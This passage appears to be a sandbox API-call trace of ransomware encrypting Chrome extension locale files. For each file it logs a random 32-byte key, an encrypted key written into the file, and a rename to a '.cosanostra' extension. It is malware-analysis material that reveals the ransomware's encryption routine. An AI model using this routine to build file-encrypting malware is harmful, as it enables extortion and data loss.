HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json") returned 155 [0086.214] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.215] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffed4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.215] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x26ffa04, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ffa04*=0x12c, lpOverlapped=0x0) returned 1 [0086.215] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.215] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa04, lpOverlapped=0x0 | out: lpBuffer=0x26ffa44*, lpNumberOfBytesWritten=0x26ffa04*=0x4, lpOverlapped=0x0) returned 1 [0086.215] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa04, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa04*=0x30, lpOverlapped=0x0) returned 1 [0086.215] CloseHandle (hObject=0x188) returned 1 [0086.216] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json.cosanostra")) returned 1 [0086.217] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa40 | out: pbBuffer=0x26ffa40) returned 1 [0086.217] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa38*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa38*=0x30) returned 1 [0086.217] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.218] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json") returned 155 [0086.218] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.219] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffe3d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.219] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x1c3, lpNumberOfBytesWritten=0x26ff9fc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff9fc*=0x1c3, lpOverlapped=0x0) returned 1 [0086.219] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.219] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff9fc, lpOverlapped=0x0 | out: lpBuffer=0x26ffa3c*, lpNumberOfBytesWritten=0x26ff9fc*=0x4, lpOverlapped=0x0) returned 1 [0086.219] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff9fc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff9fc*=0x30, lpOverlapped=0x0) returned 1 [0086.219] CloseHandle (hObject=0x188) returned 1 [0086.219] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json.cosanostra")) returned 1 [0086.221] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa38 | out: pbBuffer=0x26ffa38) returned 1 [0086.221] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa30*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa30*=0x30) returned 1 [0086.221] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.221] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json") returned 155 [0086.221] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.274] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff3a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.274] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xc6, lpNumberOfBytesWritten=0x26ff9f4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff9f4*=0xc6, lpOverlapped=0x0) returned 1 [0086.274] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.274] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff9f4, lpOverlapped=0x0 | out: lpBuffer=0x26ffa34*, lpNumberOfBytesWritten=0x26ff9f4*=0x4, lpOverlapped=0x0) returned 1 [0086.274] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff9f4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff9f4*=0x30, lpOverlapped=0x0) returned 1 [0086.274] CloseHandle (hObject=0x188) returned 1 [0086.275] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json.cosanostra")) returned 1 [0086.276] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa30 | out: pbBuffer=0x26ffa30) returned 1 [0086.276] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa28*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa28*=0x30) returned 1 [0086.276] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.276] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json") returned 155 [0086.276] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.277] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff3a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.277] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xc6, lpNumberOfBytesWritten=0x26ff9ec, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff9ec*=0xc6, lpOverlapped=0x0) returned 1 [0086.277] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.277] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff9ec, lpOverlapped=0x0 | out: lpBuffer=0x26ffa2c*, lpNumberOfBytesWritten=0x26ff9ec*=0x4, lpOverlapped=0x0) returned 1 [0086.277] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff9ec, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff9ec*=0x30, lpOverlapped=0x0) returned 1 [0086.278] CloseHandle (hObject=0x188) returned 1 [0086.278] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json.cosanostra")) returned 1 [0086.279] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa28 | out: pbBuffer=0x26ffa28) returned 1 [0086.279] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa20*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa20*=0x30) returned 1 [0086.279] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.279] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json") returned 155 [0086.279] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.280] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff38, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.280] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xc8, lpNumberOfBytesWritten=0x26ff9e4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff9e4*=0xc8, lpOverlapped=0x0) returned 1 [0086.281] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.281] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff9e4, lpOverlapped=0x0 | out: lpBuffer=0x26ffa24*, lpNumberOfBytesWritten=0x26ff9e4*=0x4, lpOverlapped=0x0) returned 1 [0086.281] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff9e4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff9e4*=0x30, lpOverlapped=0x0) returned 1 [0086.281] CloseHandle (hObject=0x188) returned 1 [0086.281] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json.cosanostra")) returned 1 [0086.283] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa20 | out: pbBuffer=0x26ffa20) returned 1 [0086.283] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa18*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa18*=0x30) returned 1 [0086.283] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.283] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json") returned 155 [0086.284] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.284] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffec2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.284] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x26ff9dc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff9dc*=0x13e, lpOverlapped=0x0) returned 1 [0086.284] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.284] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff9dc, lpOverlapped=0x0 | out: lpBuffer=0x26ffa1c*, lpNumberOfBytesWritten=0x26ff9dc*=0x4, lpOverlapped=0x0) returned 1 [0086.285] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff9dc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff9dc*=0x30, lpOverlapped=0x0) returned 1 [0086.285] CloseHandle (hObject=0x188) returned 1 [0086.285] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json.cosanostra")) returned 1 [0086.286] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa18 | out: pbBuffer=0x26ffa18) returned 1 [0086.286] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa10*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa10*=0x30) returned 1 [0086.286] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.287] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned 155 [0086.287] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.287] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffee2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.287] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x26ff9d4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff9d4*=0x11e, lpOverlapped=0x0) returned 1 [0086.287] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.288] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff9d4, lpOverlapped=0x0 | out: lpBuffer=0x26ffa14*, lpNumberOfBytesWritten=0x26ff9d4*=0x4, lpOverlapped=0x0) returned 1 [0086.288] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff9d4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff9d4*=0x30, lpOverlapped=0x0) returned 1 [0086.288] CloseHandle (hObject=0x188) returned 1 [0086.288] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json.cosanostra")) returned 1 [0086.289] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa10 | out: pbBuffer=0x26ffa10) returned 1 [0086.289] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa08*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa08*=0x30) returned 1 [0086.289] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0086.290] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json") returned 155 [0086.290] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.291] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.291] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xac, lpNumberOfBytesWritten=0x26ff9cc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff9cc*=0xac, lpOverlapped=0x0) returned 1 [0086.291] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.291] WriteFile (in: hFile=0x188, lpBuffer=0x26ffa0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff9cc, lpOverlapped=0x0 | out: lpBuffer=0x26ffa0c*, lpNumberOfBytesWritten=0x26ff9cc*=0x4, lpOverlapped=0x0) returned 1 [0086.291] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff9cc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff9cc*=0x30, lpOverlapped=0x0) returned 1 [0086.291] CloseHandle (hObject=0x188) returned 1 [0086.291] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json.cosanostra")) returned 1 [0086.293] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffa08 | out: pbBuffer=0x26ffa08) returned 1 [0086.293] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffa00*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffa00*=0x30) returned 1 [0086.293] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 